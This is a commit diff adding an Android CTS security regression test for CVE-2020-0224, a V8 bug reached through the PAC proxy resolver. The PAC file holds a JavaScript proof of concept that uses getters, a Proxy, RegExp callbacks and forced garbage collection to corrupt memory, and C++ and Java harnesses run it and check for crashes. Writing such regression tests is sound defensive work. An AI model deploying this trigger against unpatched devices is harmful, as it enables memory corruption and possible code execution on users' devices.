CTS test for Android Security b/147664838

Bug: 147664838
Bug: 156280923
Test: Ran the new testcase on android-10.0.0_r1 to test with/without patch

Change-Id: I09c70b046f5deb03efebbf068797294a0fbf99bc
Merged-In: If817b15b8e994bbbcf0ce19e00948cd8791e19d1
(cherry picked from commit 936aa925dc6d5ef15a257980423f92a3504c2e34)
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0224.pac b/hostsidetests/securitybulletin/res/cve_2020_0224.pac
new file mode 100644
index 0000000..6b8f689
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0224.pac
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function gc() {
+    for (let i = 0; i < 0x10; i++)
+        new ArrayBuffer(0x800000);
+}
+function to_dict(obj) {
+obj.__defineGetter__('x',()=>2);
+obj.__defineGetter__('x',()=>2);
+}
+function fk() {
+rgx = null;
+dbl_arr = [1.1, 2.2, 3.3, 4.4];
+o = {};
+o.__defineGetter__("length", ()=> {
+            rgx = new RegExp(/AAAAAAAA/y);
+            return 2;
+        });
+o[0] = "aaaa";
+o.__defineGetter__(1, ()=> {
+            for (let i=0;i<8;i++) dbl_arr.push(5.5);
+
+            let cnt = 0;
+            rgx[Symbol.replace]("AAAAAAAA", {
+                        toString: ()=> {
+                            cnt++;
+                            if (cnt == 2) {
+                                rgx.lastIndex = {valueOf: ()=> {
+                                        to_dict(rgx);
+                                        gc();
+                                        return 0;
+                                    }};
+
+                            }
+
+                            return 'BBBB$';
+                        }
+                    });
+            return "bbbb";
+        });
+p = new Proxy( {}, {
+            ownKeys: function(target) {
+                return o;
+            },
+            getOwnPropertyDescriptor(target, prop) {
+                return {configurable: true, enumerable: true, value: 5};
+            }
+        });
+
+Object.keys(p);
+alert (dbl_arr[0]);
+if (dbl_arr[0] == 1.1) {
+    fail("failed to corrupt dbl_arr");
+}
+}
+
+function FindProxyForURL(url, host) {
+fk();
+return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
new file mode 100644
index 0000000..084a1fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0224",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    shared_libs: [
+        "libpac",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
new file mode 100644
index 0000000..de62221
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <codecvt>
+#include <fstream>
+#include "../includes/common.h"
+#include <proxy_resolver_v8_wrapper.h>
+
+using namespace std;
+
+void poc(char* raw) {
+    ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
+    string u8Script(raw);
+    u16string u16Script =
+            wstring_convert<codecvt_utf8_utf16<char16_t>, char16_t> { }
+                    .from_bytes(u8Script);
+
+    ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
+    const char16_t* spec = u"", *host = u"";
+    ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+    ProxyResolverV8Handle_delete(handle);
+}
+
+int main(int argc, char **argv) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    ifstream stream;
+    stream.open(argv[1]);
+    if (stream.rdstate() != ifstream::goodbit) {
+        return EXIT_FAILURE;
+    }
+
+    stream.seekg(0, ios::end);
+    size_t size = stream.tellg();
+    stream.seekg(0);
+    char* raw = (char*) calloc(size + 1, sizeof(char));
+    stream.read(raw, size);
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        poc(raw);
+    }
+
+    free(raw);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
new file mode 100644
index 0000000..b02eeea
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.Arrays;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0224 extends SecurityTestCase {
+
+    /**
+     * b/147664838
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-07")
+    @Test
+    public void testPocCVE_2020_0224() throws Exception {
+        String inputFiles[] = {"cve_2020_0224.pac"};
+        String binaryName = "CVE-2020-0224";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.config.checkMinAddress(false);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}